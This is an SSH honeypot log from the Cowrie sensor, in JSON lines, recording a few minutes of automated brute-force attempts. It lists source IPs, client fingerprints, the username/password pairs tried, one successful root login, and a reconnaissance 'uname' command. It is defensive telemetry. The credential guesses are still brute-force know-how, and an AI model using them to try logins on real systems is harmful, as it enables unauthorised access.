{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:13.609278Z","src_ip":"101.44.96.62","session":"6891d6224e20","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:15.444506Z","src_ip":"91.92.240.199","session":"da6524b1a5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:15.448732Z","src_ip":"91.92.240.199","session":"da6524b1a5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:16.788551Z","src_ip":"91.92.240.199","session":"da6524b1a5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:18.211185Z","src_ip":"91.92.240.199","session":"da6524b1a5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60620,"dst_ip":"159.203.135.109","dst_port":22,"session":"37b1783c9cd2","protocol":"ssh","message":"New connection: 101.44.96.62:60620 (159.203.135.109:22) [session: 37b1783c9cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:25.508642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:25.512246Z","src_ip":"101.44.96.62","session":"37b1783c9cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:25.730382Z","src_ip":"101.44.96.62","session":"37b1783c9cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:26.380608Z","src_ip":"101.44.96.62","session":"37b1783c9cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.136","src_port":42570,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd9a7f0852d2","protocol":"ssh","message":"New connection: 14.103.114.136:42570 (10.17.0.5:22) [session: dd9a7f0852d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:26.444896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:26.449461Z","src_ip":"14.103.114.136","session":"dd9a7f0852d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:26.668332Z","src_ip":"14.103.114.136","session":"dd9a7f0852d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:27.317362Z","src_ip":"14.103.114.136","session":"dd9a7f0852d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:27.599435Z","src_ip":"101.44.96.62","session":"37b1783c9cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59640,"dst_ip":"159.203.135.109","dst_port":22,"session":"88265ca1906a","protocol":"ssh","message":"New connection: 101.44.96.62:59640 (159.203.135.109:22) [session: 88265ca1906a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:38.887436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:38.892003Z","src_ip":"101.44.96.62","session":"88265ca1906a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:39.109327Z","src_ip":"101.44.96.62","session":"88265ca1906a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"1","message":"login attempt [default/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:39.762148Z","src_ip":"101.44.96.62","session":"88265ca1906a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:40.982037Z","src_ip":"101.44.96.62","session":"88265ca1906a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47440,"dst_ip":"159.203.135.109","dst_port":22,"session":"b57480f9efa3","protocol":"ssh","message":"New connection: 195.178.110.218:47440 (159.203.135.109:22) [session: b57480f9efa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:50.632402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:50.636839Z","src_ip":"195.178.110.218","session":"b57480f9efa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:50.712017Z","src_ip":"195.178.110.218","session":"b57480f9efa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:50.937295Z","src_ip":"195.178.110.218","session":"b57480f9efa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:52.014921Z","src_ip":"195.178.110.218","session":"b57480f9efa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":47126,"dst_ip":"159.203.135.109","dst_port":22,"session":"95b16ea70f26","protocol":"ssh","message":"New connection: 101.44.96.62:47126 (159.203.135.109:22) [session: 95b16ea70f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:52.295780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:52.301043Z","src_ip":"101.44.96.62","session":"95b16ea70f26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:52.518227Z","src_ip":"101.44.96.62","session":"95b16ea70f26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:53.169156Z","src_ip":"101.44.96.62","session":"95b16ea70f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:51:54.391688Z","src_ip":"101.44.96.62","session":"95b16ea70f26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33252,"dst_ip":"159.203.135.109","dst_port":22,"session":"aad7726967e6","protocol":"ssh","message":"New connection: 101.44.96.62:33252 (159.203.135.109:22) [session: aad7726967e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:05.744566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:05.749386Z","src_ip":"101.44.96.62","session":"aad7726967e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:05.964218Z","src_ip":"101.44.96.62","session":"aad7726967e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab123","message":"login attempt [gitlab/gitlab123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:06.608527Z","src_ip":"101.44.96.62","session":"aad7726967e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:07.826250Z","src_ip":"101.44.96.62","session":"aad7726967e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38976,"dst_ip":"159.203.135.109","dst_port":22,"session":"e01455500590","protocol":"ssh","message":"New connection: 101.44.96.62:38976 (159.203.135.109:22) [session: e01455500590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:19.258168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:19.261801Z","src_ip":"101.44.96.62","session":"e01455500590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:19.478503Z","src_ip":"101.44.96.62","session":"e01455500590","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:20.130312Z","src_ip":"101.44.96.62","session":"e01455500590","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:20.624086Z","src_ip":"101.44.96.62","session":"e01455500590","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:20.626827Z","src_ip":"101.44.96.62","session":"e01455500590","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:20.845937Z","src_ip":"101.44.96.62","session":"e01455500590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:20.850045Z","src_ip":"101.44.96.62","session":"e01455500590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33676,"dst_ip":"159.203.135.109","dst_port":22,"session":"084f8935a82f","protocol":"ssh","message":"New connection: 101.44.96.62:33676 (159.203.135.109:22) [session: 084f8935a82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:32.644083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:52:32.648823Z","src_ip":"101.44.96.62","session":"084f8935a82f","protocol":"ssh"}
